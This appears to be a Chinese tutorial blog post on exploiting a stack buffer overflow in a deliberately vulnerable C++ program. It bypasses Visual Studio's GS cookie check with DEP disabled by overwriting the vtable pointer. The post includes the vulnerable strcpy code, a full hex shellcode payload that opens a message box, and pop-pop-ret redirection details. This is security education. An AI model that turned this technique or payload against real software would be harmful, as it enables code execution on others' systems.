淹没虚函数地址过GS保护（关闭DEP保护）

作者:黑蛋

1.简介

针对缓冲区溢出覆盖函数返回地址这一特征，微软在编译程序时使用了一个安全编译选项--GS， Visual Studio 2003 (VS 7.0)及以后版本的 Visual Studio 中默认启用了这个编译选项。在所有函数调用时，会向栈中压入一个DWORD，他是data段第一个DWORD与EBP亦或之后形成的值，处于EBP+4的位置，在所有函数执行完返回时，会有一个检查函数，检测EBP+4的值是否和原来一样，一样则正常返回，反之进入异常处理流程，函数不会正常返回，这个操作叫 Security check，如果有缓冲区溢出函数返回值，势必会淹没Security Cookie，进入异常处理流程。如果我们在有GS保护的程序中使用栈溢出淹没返回地址EBP+4的位置，势必会破坏EBP-4的值，在函数返回之前经过Security check，会直接导致我们栈溢出淹没返回值失败，本篇通过调用c++虚函数在GS检查函数之前的特征，通过淹没虚函数地址，让虚函数地址指向我们的shellcode，达到绕过GS保护成功溢出的目的。详细了解GS保护机制可以参考《0day安全》这本书。

2.环境配置

3.代码

#include "stdafx.h" #include "string.h" class GSVirtual { public : void gsv(char * src)     {        char buf[200];        strcpy(buf, src);        bar();     }     virtual void  bar()     {     } }; int main() {     GSVirtual test;     test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x00");     return 0; }

这里我们首先给gsv函数传入一段正常的字符串0x90，便于我们第一次分析函数栈内情况。

4.项目配置如下（Win32,release）

第一步:打开项目属性-->配置属性-->C/C++-->代码生成-->运行时库-->多线程调试(/MTd); 第二步:打开项目属性-->配置属性-->C/C++-->代码生成-->缓冲区安全检查（GS）-->是；第三步:打开项目属性-->配置属性-->链接器-->高级-->数据执行保护（DEP）-->否；

5.代码介绍：

创建一个类对象，调用gsv函数，第一次传入199字节\x90,以\x00结尾，方便观察栈内情况；在gsv中有一个拷贝函数，下面紧接着调用一个虚函数；生成exe,拖入x32dbg，因为有符号文件，ctrl+g，输入main，定位到主函数（OD不行），下断点：

F9运行到断点处：

第一个call是创建类对象，第二个call是gsv函数，也就是我们重点观察目标，跟进第二个call，查看堆栈，转到EBP：

其中EBP+4是返回地址，EBP+8是我们传入200字节字符串地址，EBP+C是虚表地址，栈中0012FE8C指向buf，即EBP-D0

我们发现第二个call是GS安全检查函数，而第一个call，经过分析是调用虚函数，如果我们通过淹没虚函数地址，控制程序流程，就可以在GS检查前达到我们的目的，绕过GS保护。

划红线区域就是找虚表第一个虚函数的过程，发现是EBP+C地址指向的地址指向的地址是call eax中eax的值（这块需要仔细理解），所以我们需要控制EBP+C这个位置，查看堆栈情况

我们发现需要延长字符串32个字节，才可以淹没虚表地址，所以构造新的字符串：

test.gsv( "\xE0\x14\x92\x7C"//这是特意构造的四字节，稍后解释        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"/*这堆0x90是为了凑数，毫无意义，对应硬编码是nop，即滑板指令*/        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"        "\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8“/*这段是我们一个弹窗shellcode，效果是弹出一个框，如果程序弹框，证明我们栈溢出成功，并成功绕过GS保护*/        ”\x90\x90\x90\x90\x90\x90\x90\x90"        "\x90\x90\x90\x90\x90\x90\x90\x90“/*这段同样是凑数字节，没有意义*/        ”\x8C\xFE\x12\x00"/*覆盖虚表地址的四字节，同样是我们这段字符串在栈中的首地址*/        );

在这里，EBP+C指向的地址已经是我们buf的起始位置，当程序调用虚函数的时候，即call eax：

这里eax的值就是虚表地址，而我们通过淹没这个地址，现在eax指向我们shellcode的第一个四字节，所以这里我们shellcode第一个四字节应该是一个地址，然后程序流程会去执行我们shellcode第一个四字节指向的地方，我们在这里构造一个pop，pop，ret，通过俩次弹栈，让ESP指向我们shellcode第5个字节之后，（第一次是call eax，esp会压入返回值，第二个pop是我们shellcode的第一个四字节），之后ret会执行到esp指向的地方，即我们的弹窗shellcode的地方，达到目的。

下面是我shellcode第一个四字节指向的地方：

6.思考

(1)我们淹没的地址并不是虚函数地址，而是虚表地址，所以我们所淹没的值同样应该是一个地址，这个地址再指向一段程序； (2)既然我们需要shellcode前四个字节指向一段程序，为什么不直接指向下面的弹窗shellcode的位置，这是因为拷贝函数判断拷贝结束是看这个字节是否=\x00，而我们栈中的地址都是\x00开头，这样会导致拷贝终止，所以我们shellcode除了最后一个字节可以为\x00,其他地方均不得出现\x00，故而我们在程序中寻找不会出现\x00的地址，指向pop，pop，ret，达到控制程序流程到我们的shellcode的目的。

7.最后是我分析gsv函数的一个简单的分析注释：